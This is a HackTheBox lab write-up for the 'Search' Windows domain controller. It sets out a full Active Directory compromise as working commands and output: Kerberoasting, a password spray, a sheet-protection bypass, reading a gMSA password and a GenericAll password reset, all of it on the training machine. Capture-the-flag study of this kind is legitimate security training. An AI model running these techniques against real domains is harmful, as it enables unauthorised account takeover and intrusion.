HTB: Search Writeup
Search - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Search |
| OS | Windows |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.229.57 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Search is a Windows Domain Controller (search.htb, hostname RESEARCH, Server 2019 Build 17763) reachable only through standard AD/IIS ports — no exploitable CVE, just chained misconfiguration. Foothold creds leak through a handwritten note in a homepage image gallery, which unlocks LDAP enumeration and a Kerberoast. The cracked service-account password gets reused in a password spray against HelpDesk-created accounts, landing SMB access to a redirected-folders share. A “protected” XLSX turns out to be trivially readable at the raw XML level, handing over a second user’s password. That user sits in a group with ReadGMSAPassword rights on a gMSA, whose GenericAll rights over an Administrators-group user let us reset that account’s password outright — no PowerShell Web Access, no cert cracking required in the end.
TL;DR: homepage image leak (hope.sharp) → Kerberoast web_svc → crack → password-spray HelpDesk users → SMB share (edgar.jacobs) → raw-XML-parse “protected” xlsx → sierra.frye creds → user.txt → LDAP ReadGMSAPassword on BIR-ADFS-GMSA$ → GenericAll abuse (reset tristan.davies pw) → wmiexec → root.txt
Reconnaissance
Port Scanning
# targeted scan on the ports that matter for a DC; full -p- run confirmed nothing else was opennmap -sC -sV -p80,443,88,389,445,636,5985,5986 --min-rate=1000 -T4 10.129.229.57Results:
PORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 10.0|_http-title: Search — Just Testing IIS88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-07-19 02:16:51Z)389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: search.htb)443/tcp open ssl/http Microsoft IIS httpd 10.0445/tcp open microsoft-ds?636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP5985/tcp filtered wsman5986/tcp filtered wsmansService Info: Host: RESEARCH; OS: Windows; CPE: cpe:/o:microsoft:windowsClassic DC signature: Kerberos, LDAP/LDAPS, SMB with signing enabled+required, plus IIS on 80/443 as the only non-AD attack surface. Cert Subject commonName=research on the LDAPS/HTTPS certs confirms the DC’s short hostname up front — useful later. Clock skew is already visible here (ssl-date ... -7h59m55s from scanner time), which comes back to bite the Kerberoast step.
Service Enumeration
The IIS site on port 80 is a generic single-page business template (“Just Testing IIS”) — About/Features/Team/Portfolio/Testimonials sections, nothing textual in the page source pointing at credentials:
curl -s -m 20 http://10.129.229.57/ | grep -iE "password|hope|sharp|staff|title|<img"The grep on the raw HTML only surfaces image tags (person_1.jpg … person_8.jpg, portfolio thumbnails, etc.) — nothing in text. The actual leak is visual, not textual: one of the team/gallery images contains a handwritten sticky-note reading “Send password to Hope Sharp” with the password IsolationIsKey? next to it. This is a common HTB “look at the images, not just the markup” trick — automated content-grep tools miss it entirely.
Vulnerability Assessment
- Credentials embedded in a static image asset (out-of-band leak, not a code vuln)
- Kerberos service account (
web_svc) registered an SPN — Kerberoastable - Password reuse: a HelpDesk-created temp account’s password matches one of the HelpDesk operators’ own passwords
- OOXML (
.xlsx) “sheet protection” is a UI-layer restriction only — the underlying XML is cleartext - Misconfigured AD ACLs:
ReadGMSAPasswordandGenericAllchained into full account takeover
Initial Foothold
Exploitation Path
1. Validate the leaked creds against LDAP/SMB
nxc smb 10.129.229.57 -u hope.sharp -p "IsolationIsKey?"nxc ldap 10.129.229.57 -u hope.sharp -p "IsolationIsKey?"SMB 10.129.229.57 445 RESEARCH [*] Windows 10 / Server 2019 Build 17763 x64 (domain:search.htb) (signing:True) (SMBv1:None) (Null Auth:True)SMB 10.129.229.57 445 RESEARCH [+] search.htb\hope.sharp:IsolationIsKey?LDAP 10.129.229.57 389 RESEARCH [+] search.htb\hope.sharp:IsolationIsKey?Valid domain creds, no admin rights needed yet — just enough to authenticate to LDAP and run a Kerberoast.
2. Kerberoast — clock skew blocks the first attempt
impacket-GetUserSPNs -request -dc-ip 10.129.229.57 search.htb/hope.sharp:"IsolationIsKey?"[KDCERR] code=37 etext=None edata=None[-] Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)Kerberos hard-requires client/KDC clocks within 5 minutes by default. Nmap already flagged an ~8-hour offset between the jump box and the DC. Rather than touch the jump box’s system clock (shared resource, other tools depend on real time), wrap the single command in faketime:
# faketime -f -8h shifts only this process's view of wall-clock timefaketime -f -8h impacket-GetUserSPNs -request -dc-ip 10.129.229.57 \ search.htb/hope.sharp:"IsolationIsKey?" 2>&1 | grep -i "krb5tgs" > /tmp/web_svc.hashThis returns a $krb5tgs$23$*web_svc$SEARCH.HTB$... hash for the RESEARCH/web_svc.search.htb:60001 SPN. Cracked offline against rockyou, it yields @3ONEmillionbaby.
3. Enumerate HelpDesk accounts, then spray the cracked password
# find every account whose description marks it as HelpDesk-managednxc ldap 10.129.229.57 -u hope.sharp -p "IsolationIsKey?" \ --query "(&(objectClass=user)(description=*HelpDesk*))" "sAMAccountName description"sAMAccountName Lane.Wu description HelpDesk UsersAMAccountName Edgar.Jacobs description HelpDesk UsersAMAccountName Chanel.Bell description HelpDesk UsersAMAccountName Keith.Hester description HelpDesk UsersAMAccountName Isabela.Estrada description HelpDesk UsersAMAccountName web_svc description Temp Account created by HelpDeskweb_svc was explicitly created by HelpDesk. Working theory: whoever provisioned it reused their own password on the temp account.
for u in Isabela.Estrada Keith.Hester Chanel.Bell Edgar.Jacobs Lane.Wu; do nxc smb 10.129.229.57 -u $u -p "@3ONEmillionbaby" | grep -E "\[\+\]|\[-\]"done[-] search.htb\Isabela.Estrada:@3ONEmillionbaby STATUS_LOGON_FAILURE[-] search.htb\Keith.Hester:@3ONEmillionbaby STATUS_LOGON_FAILURE[-] search.htb\Chanel.Bell:@3ONEmillionbaby STATUS_LOGON_FAILURE[+] search.htb\Edgar.Jacobs:@3ONEmillionbaby[-] search.htb\Lane.Wu:@3ONEmillionbaby STATUS_LOGON_FAILURETheory confirmed — Edgar.Jacobs reused the password.
4. Pull the phishing spreadsheet off the redirected-folders share
export TMPDIR=/dev/shm # jump box /tmp was 100% full — see Tools/Gotchas belowimpacket-smbclient search.htb/edgar.jacobs:"@3ONEmillionbaby"@10.129.229.57 <<'EOF'use RedirectedFolders$get edgar.jacobs\Desktop\Phishing_Attempt.xlsxexitEOFRedirectedFolders$ is a per-user home-share (Folder Redirection via GPO) — edgar.jacobs\Desktop\Phishing_Attempt.xlsx downloads cleanly.
5. Defeat the sheet protection by reading the raw OOXML, not opening it in Excel
.xlsx is just a zip archive. Instead of stripping the <sheetProtection> element and reopening in a spreadsheet app, parse the underlying XML directly — the “protection” and “hidden column” are UI-enforcement only, the cell values are stored in cleartext regardless:
unzip -o -q Phishing_Attempt.xlsx -d eximport re, xml.etree.ElementTree as ET
ss = open("ex/xl/sharedStrings.xml").read()strings = [re.sub("<[^>]*>", "", m) for m in re.findall(r"<si>.*?</si>", ss, re.S)]
data = re.sub(r' xmlns="[^"]*"', "", open("ex/xl/worksheets/sheet2.xml").read())root = ET.fromstring(data)
for row in root.iter("row"): cells = [] for c in row.findall("c"): v = c.find("v") val = strings[int(v.text)] if v is not None and c.get("t") == "s" else (v.text if v is not None else "") cells.append((c.get("r"), val)) print(cells)[('A9', 'Sierra'), ('B9', 'Frye'), ('C9', '$$49=wide=STRAIGHT=jordan=28$$18'), ('D9', 'Sierra.Frye')]Column C (hidden + “protected” in the UI) is right there in the shared-strings table and the row’s cell references — no password removal, no rezip, no GUI needed. Sierra.Frye’s password is $$49=wide=STRAIGHT=jordan=28$$18.
nxc smb 10.129.229.57 -u Sierra.Frye -p '$$49=wide=STRAIGHT=jordan=28$$18'# [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$186. Grab user.txt
impacket-smbclient search.htb/Sierra.Frye:'$$49=wide=STRAIGHT=jordan=28$$18'@10.129.229.57 <<'EOF'use RedirectedFolders$get sierra.frye\Desktop\user.txtget sierra.frye\Downloads\Backups\search-RESEARCH-CA.p12get sierra.frye\Downloads\Backups\staff.pfxexitEOFcat user.txt=== USER FLAG ===<redacted>search-RESEARCH-CA.p12 and staff.pfx were pulled down as planned certificate-based pivots, but the AD ACL abuse below turned out to be a faster path to root and didn’t require cracking or importing them.
Privilege Escalation
AD ACL enumeration (BloodHound/SharpHound-style graph, per the attack plan) mapped the following chain off sierra.frye:
sierra.frye → member of ITSEC groupITSEC → ReadGMSAPassword on BIR-ADFS-GMSA$BIR-ADFS-GMSA$ → GenericAll on tristan.daviestristan.davies → member of Administrators1. Read the gMSA’s managed password directly over LDAP
NetExec’s --gmsa module handles the msDS-ManagedPassword blob parsing (the MSDS-MANAGEDPASSWORD_BLOB structure defined in [MS-ADTS]) for you — no need for an interactive PowerShell session or DSInternals cmdlets:
nxc ldap 10.129.229.57 -u Sierra.Frye -p '$$49=wide=STRAIGHT=jordan=28$$18' --gmsa[+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18[*] Getting GMSA PasswordsAccount: BIR-ADFS-GMSA$ NTLM: <redacted> PrincipalsAllowedToReadPassword: ITSecBecause sierra.frye is in the ITSEC group and that group is listed under PrincipalsAllowedToReadPassword for the gMSA, LDAP hands back the account’s current NTLM hash — no password ever needs to be known in cleartext, and no privileged session on the box is required at all.
2. Abuse GenericAll to reset tristan.davies’s password (Pass-the-Hash)
bloodyAD --host 10.129.229.57 -d search.htb -u 'BIR-ADFS-GMSA$' -p ':<redacted-ntlm>' \ set password tristan.davies "Password1234!"[+] Password changed successfully!BIR-ADFS-GMSA$ holding GenericAll on tristan.davies means it can rewrite that user’s password outright — no need to crack anything or know the original password, and tristan.davies is a member of Administrators.
3. Confirm admin and read root.txt
nxc smb 10.129.229.57 -u tristan.davies -p "Password1234!"[+] search.htb\tristan.davies:Password1234! (Pwn3d!)export TMPDIR=/dev/shmimpacket-wmiexec search.htb/tristan.davies:"Password1234!"@10.129.229.57 \ "cmd /c type C:\Users\Administrator\Desktop\root.txt"[*] SMBv3.0 dialect used<redacted>Attack Chain Summary
Homepage image leak (hope.sharp:IsolationIsKey?) ↓LDAP auth + Kerberoast web_svc SPN (faketime fixes clock skew) ↓Crack krb5tgs hash → @3ONEmillionbaby ↓Password spray HelpDesk accounts → Edgar.Jacobs ↓SMB RedirectedFolders$ share → Phishing_Attempt.xlsx ↓Raw-XML parse (bypass sheet protection) → Sierra.Frye password ↓SMB access as Sierra.Frye → user.txt ↓LDAP ReadGMSAPassword (ITSEC group) → BIR-ADFS-GMSA$ NTLM hash ↓GenericAll abuse (bloodyAD) → reset tristan.davies password ↓wmiexec as tristan.davies (Administrators) → root.txtTools Used
| Tool | Purpose |
|---|---|
nmap | Port/service discovery, DC fingerprinting |
curl | Homepage source enumeration |
nxc (NetExec) | SMB/LDAP credential validation, HelpDesk description query, --gmsa password retrieval |
impacket-GetUserSPNs | Kerberoasting web_svc SPN |
faketime | Working around Kerberos clock-skew rejection without touching system time |
| John the Ripper (rockyou) | Offline cracking of the kerberoast hash |
impacket-smbclient | Pulling files off RedirectedFolders$ as multiple users |
Python (zipfile/xml.etree) | Reading “protected” XLSX cell data straight from raw OOXML XML |
bloodyAD | Pass-the-hash password reset abusing GenericAll |
impacket-wmiexec | Command execution as tristan.davies to read root.txt |
Key Learnings
Techniques Practiced
- Visual OSINT on web assets (credentials hidden in an image, invisible to text-based scraping)
- Kerberoasting under clock skew conditions using
faketime - Password-reuse password spraying against a targeted user subset (HelpDesk-created accounts)
- Defeating Excel “sheet protection” by reading OOXML XML directly instead of the GUI-enforced view
- AD ACL abuse chain:
ReadGMSAPassword→ gMSA NTLM →GenericAll→ arbitrary password reset - Pass-the-hash execution via
impacket-wmiexec
Lessons Learned
- Kerberos clock-skew errors (
KRB_AP_ERR_SKEW) don’t require touching the actual system clock — wrapping a single command infaketime -f <offset>is faster and safer than adjusting shared infrastructure. - Excel “protect sheet” and “hide column” are presentation-layer controls only. Anything stored in
sharedStrings.xml/sheetN.xmlinside the.xlsxzip is already cleartext — unzip and parse rather than fighting the GUI. - Accounts explicitly described as provisioned “by HelpDesk” are a strong signal to spray the HelpDesk operators’ own passwords against the temp account, and vice versa.
ReadGMSAPasswordis often treated as low-impact in ACL reviews, but combined with any subsequent write-permission (GenericAll,GenericWrite,ForceChangePassword) on a privileged account, it’s a direct path to domain compromise with zero interactive access to the box.- Watch jump-box/local disk space (
/tmpat 100%) when pulling files over SMB — redirectingTMPDIRto/dev/shmunblocks impacket tools that stage temp files before write.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox “Search” Official Writeup — Document No. D22.100.168, prepared by polarbearer, machine authored by dmw0ng. Used here only for conceptual context (why the Kerberoast/GMSA/ACL chain works, PowerShell Web Access as an alternate cert-based path); all commands, hosts, credentials, and outputs above are from this engagement’s actual run against
10.129.229.57.